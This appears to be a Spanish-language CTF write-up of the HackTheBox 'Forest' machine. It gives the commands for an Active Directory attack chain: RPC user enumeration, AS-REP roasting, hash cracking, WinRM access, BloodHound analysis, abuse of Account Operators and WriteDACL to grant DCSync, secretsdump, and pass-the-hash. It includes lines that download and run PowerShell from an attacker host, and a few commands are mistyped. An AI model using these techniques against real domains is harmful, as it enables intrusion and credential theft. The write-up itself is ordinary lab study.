> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Resolución de HackTheBox Forest {% embed url="" %} {% hint style="warning" %} **Habilidades:** * AXFR - Ataque de transferencia de zona de dominio (fallido) * Enumeración RPC - Obtención de usuarios válidos del dominio * Realización de un ataque AS-RepRoast con los usuarios obtenidos * Cracking de hashes * Abuso de WinRM - EvilWinRM * Enumeración LDAP - ldapdomaindump * Enumeración con BloodHound * Recopilación de información del sistema con SharpHound.ps1 - PuckieStyle * Representación y visualización de datos en BloodHound * Encontrar un vector de ataque en BloodHound * Abuso del grupo Account Operators - Creación de un nuevo usuario * Abuso del grupo Account Operators - Asignación de un grupo al usuario recién creado * Abuso de WriteDacl en el dominio - Concesión de privilegios DCSync * Explotación DCSync - Secretsdump.py {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Listado y operación:** ### **Reconocimiento SMB:** Uso de CrackMapExec para identificar el sistema operativo ```bash crackmapexec cmb 10.10.10.161 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta en el nombre de dominio asociado con su dirección IP/ `/etc/hosts` archivo.

/*/Exploración de recursos compartidos SMB en la red para identificar recursos compartidos, pero sin resultados. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconocimiento RPC:** Uso de rpcclient para interactuar con servicios CPP y recopilar información de recursos ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Listar los grupos: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Ataque ASREPRoast: #### Con una lista de usuarios válidos, llevaremos a cabo un ataque AS-RepRoast, ya que no necesitamos las contraseñas de los usuarios. Usaremos `grep` para filtrar los nombres de usuario, y luego insertar estos datos en un archivo ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Usamos la herramienta GetNPUsers.py para extraer información de usuarios sin contraseña: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Obtenemos el hash de la contraseña del usuario "lucinda" e intentamos romperlo con John the Ripper usando una lista de contraseñas predefinida: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Usamos CrackMapExec para comprobar si la contraseña descifrada es correcta intentando una conexión WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Finalmente, usamos Evil-WinRM para conectarnos a la máquina remota con las credenciales descifradas: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Escalada de privilegios: ### Enumeración del dominio con BloodHound

Instalación de BloodHound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Inicia sesión en BloodHound con las credenciales neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Iniciando BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Recopilar información con SharpHound.ps1 {% embed url="" %} ### Transferir los datos recopilados a un servidor Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Transferimos el archivo zip a nuestro equipo. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importar el archivo zip en BloodHound. //*

### Análisis y operaciones en BloodHound #### Filtrar los datos para encontrar la ruta más corta hacia el administrador del dominio.

#### Identificación de membresía en un grupo potencialmente problemático (Account Operator).

#### Uso de la capacidad de creación de usuarios para preparar un ataque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Intento de DCSync sin permisos suficientes ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Usuario agregado a un grupo con permisos más altos (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Ataque WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Preparando un ataque WriteDACL usando PowerView\.ps1 para añadir funcionalidad. {% embed url="" %}

#### Transferir archivo ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnerabilidad del ataque DCSync #### Ejecuta el comando Add-DomainObjectAcl para obtener los hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Usando Impacket para extraer hashes con el usuario jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Ataque Pass-the-Hash: Usando el hash NT del administrador para el ataque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Acceso al sistema con privilegios de administrador.

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.